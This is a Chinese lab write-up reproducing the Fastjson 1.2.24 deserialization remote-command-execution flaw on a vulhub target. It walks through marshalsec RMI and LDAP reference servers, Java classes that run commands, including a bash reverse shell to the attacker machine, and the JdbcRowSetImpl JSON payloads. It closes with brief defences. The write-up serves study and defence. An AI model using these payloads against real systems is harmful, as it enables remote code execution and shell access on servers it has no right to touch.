【vulhub】Fastjson1.2.24反序列化导致任意命令执行漏洞复现
字数 1256 2025-08-20 18:17:07

Fastjson 1.2.24 反序列化漏洞复现与分析

一、Fastjson 简介

Fastjson 是阿里巴巴开源的一款高性能 JSON 解析库,基于 Java 编写。主要功能包括:

  • 将 Java 对象序列化为 JSON 格式字符串
  • 将 JSON 字符串反序列化为 Java 对象
  • 支持操作各种类型的 Java 对象,包括没有源码的预先存在对象
  • 广泛应用于 Java 开发中的 JSON 数据处理

二、漏洞原理

1. 漏洞成因

Fastjson 在解析 JSON 时存在自动类型转换功能(autoType),系统未对 JSON 内容进行充分验证,直接将 JSON 解析成 Java 对象并执行。攻击者可以构造特定的恶意 payload,利用这一特性实现代码执行甚至命令执行。

2. 官方解释

Fastjson 在解析 JSON 过程中支持使用 autoType 来实例化具体类,并调用该类的 set/get 方法访问属性。通过查找代码中相关方法,攻击者可以构造恶意利用链。

3. 影响版本

Fastjson <= 1.2.24

三、环境搭建

1. 靶机环境

  • 系统:vulhub_centos7
  • IP:192.168.237.190
  • 端口:8090

搭建步骤:

cd vulhub/fastjson/1.2.24-rce
docker-compose up -d

验证环境:

docker ps

访问 http://192.168.237.190:8090 查看 JSON 格式输出

2. 攻击机环境

  • 系统:Kali Linux 2024.2
  • IP:192.168.237.174
  • Java 版本:8u202

四、漏洞验证

1. 使用 curl 验证

curl http://192.168.237.190:8090/ -H "Content-Type: application/json" --data '{"name":"hahaha", "age":20}'

观察返回结果中 name 和 age 是否被修改

2. 使用 Burp Suite 验证

  1. 抓取 GET 请求
  2. 改为 POST 请求
  3. 修改 Content-Type 为 application/json
  4. 添加请求参数
  5. 发送请求并观察返回包

五、漏洞利用

1. 环境准备

安装 Maven

wget https://archive.apache.org/dist/maven/maven-3/3.6.3/binaries/apache-maven-3.6.3-bin.tar.gz
mkdir -p /usr/local/apache-maven
cp apache-maven-3.6.3-bin.tar.gz /usr/local/apache-maven
cd /usr/local/apache-maven
tar -xzvf apache-maven-3.6.3-bin.tar.gz
update-alternatives --install /usr/bin/mvn mvn /usr/local/apache-maven/apache-maven-3.6.3/bin/mvn 1
update-alternatives --config mvn

配置环境变量:

vim /etc/profile

添加以下内容:

JAVA_HOME=/usr/local/apache-maven/apache-maven-3.6.3
PATH=$PATH:$HOME/bin:$JAVA_HOME/bin
MAVEN_OPTS="-Xms256m -Xmx512m"
export JAVA_HOME
export PATH
export MAVEN_OPTS

使配置生效:

source /etc/profile
exit
mvn -version

安装 marshalsec

git clone https://github.com/mbechler/marshalsec.git
cd marshalsec
mvn clean package -DskipTests

2. 文件创建测试

编写测试类 test.java

import java.lang.Runtime;
import java.lang.Process;

public class test {
    static {
        try {
            Runtime rt = Runtime.getRuntime();
            String[] commands = {"touch", "/tmp/test666"};
            Process pc = rt.exec(commands);
            pc.waitFor();
        } catch (Exception e) {
            // do nothing
        }
    }
}

编译并启动 HTTP 服务:

javac test.java
python -m http.server 6688

启动 RMI 服务器

cd target
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://192.168.237.174:6688/#test" 6655

构造 Payload

发送以下 JSON 数据(注意修改请求为 POST,Content-Type 为 application/json):

{
    "b":{
        "@type":"com.sun.rowset.JdbcRowSetImpl",
        "dataSourceName":"rmi://192.168.237.174:6655/test",
        "autoCommit":true
    }
}

验证文件是否创建:

docker exec -it d6403 /bin/bash
ls /tmp/test666

3. 反弹 Shell

编写 shell.java

import java.lang.Runtime;
import java.lang.Process;

public class shell {
    static {
        try {
            Runtime rt = Runtime.getRuntime();
            String[] commands = {"/bin/bash","-c","bash -i >& /dev/tcp/192.168.237.174/2233 0>&1"};
            Process pc = rt.exec(commands);
            pc.waitFor();
        } catch (Exception e) {
            // do nothing
        }
    }
}

编译并启动服务:

javac shell.java
python -m http.server 6688

启动 RMI 服务器

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://192.168.237.174:6688/#shell" 6655

监听端口

nc -lvvp 2233

发送 Payload

{
    "b":{
        "@type":"com.sun.rowset.JdbcRowSetImpl",
        "dataSourceName":"rmi://192.168.237.174:6655/shell",
        "autoCommit":true
    }
}

4. LDAP 利用方式

启动 LDAP 服务器

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://192.168.237.174:6688/#shell" 6677

构造 Payload

{
    "b":{
        "@type":"com.sun.rowset.JdbcRowSetImpl",
        "dataSourceName":"ldap://192.168.237.174:6677/shell",
        "autoCommit":true
    }
}

DNS 记录测试

修改 payload 中的命令为 DNS 查询命令,观察 DNS 日志记录

六、防御措施

  1. 升级 Fastjson 到最新版本
  2. 关闭 autoType 功能
  3. 对输入进行严格验证和过滤
  4. 使用白名单机制限制可反序列化的类

七、参考链接

  1. Fastjson 官方文档
  2. Marshalsec 项目 GitHub 仓库
  3. Vulhub 漏洞环境仓库
Fastjson 1.2.24 反序列化漏洞复现与分析 一、Fastjson 简介 Fastjson 是阿里巴巴开源的一款高性能 JSON 解析库,基于 Java 编写。主要功能包括: 将 Java 对象序列化为 JSON 格式字符串 将 JSON 字符串反序列化为 Java 对象 支持操作各种类型的 Java 对象,包括没有源码的预先存在对象 广泛应用于 Java 开发中的 JSON 数据处理 二、漏洞原理 1. 漏洞成因 Fastjson 在解析 JSON 时存在自动类型转换功能(autoType),系统未对 JSON 内容进行充分验证,直接将 JSON 解析成 Java 对象并执行。攻击者可以构造特定的恶意 payload,利用这一特性实现代码执行甚至命令执行。 2. 官方解释 Fastjson 在解析 JSON 过程中支持使用 autoType 来实例化具体类,并调用该类的 set/get 方法访问属性。通过查找代码中相关方法,攻击者可以构造恶意利用链。 3. 影响版本 Fastjson <= 1.2.24 三、环境搭建 1. 靶机环境 系统:vulhub_ centos7 IP:192.168.237.190 端口:8090 搭建步骤: 验证环境: 访问 http://192.168.237.190:8090 查看 JSON 格式输出 2. 攻击机环境 系统:Kali Linux 2024.2 IP:192.168.237.174 Java 版本:8u202 四、漏洞验证 1. 使用 curl 验证 观察返回结果中 name 和 age 是否被修改 2. 使用 Burp Suite 验证 抓取 GET 请求 改为 POST 请求 修改 Content-Type 为 application/json 添加请求参数 发送请求并观察返回包 五、漏洞利用 1. 环境准备 安装 Maven 配置环境变量: 添加以下内容: 使配置生效: 安装 marshalsec 2. 文件创建测试 编写测试类 test.java 编译并启动 HTTP 服务: 启动 RMI 服务器 构造 Payload 发送以下 JSON 数据(注意修改请求为 POST,Content-Type 为 application/json): 验证文件是否创建: 3. 反弹 Shell 编写 shell.java 编译并启动服务: 启动 RMI 服务器 监听端口 发送 Payload 4. LDAP 利用方式 启动 LDAP 服务器 构造 Payload DNS 记录测试 修改 payload 中的命令为 DNS 查询命令,观察 DNS 日志记录 六、防御措施 升级 Fastjson 到最新版本 关闭 autoType 功能 对输入进行严格验证和过滤 使用白名单机制限制可反序列化的类 七、参考链接 Fastjson 官方文档 Marshalsec 项目 GitHub 仓库 Vulhub 漏洞环境仓库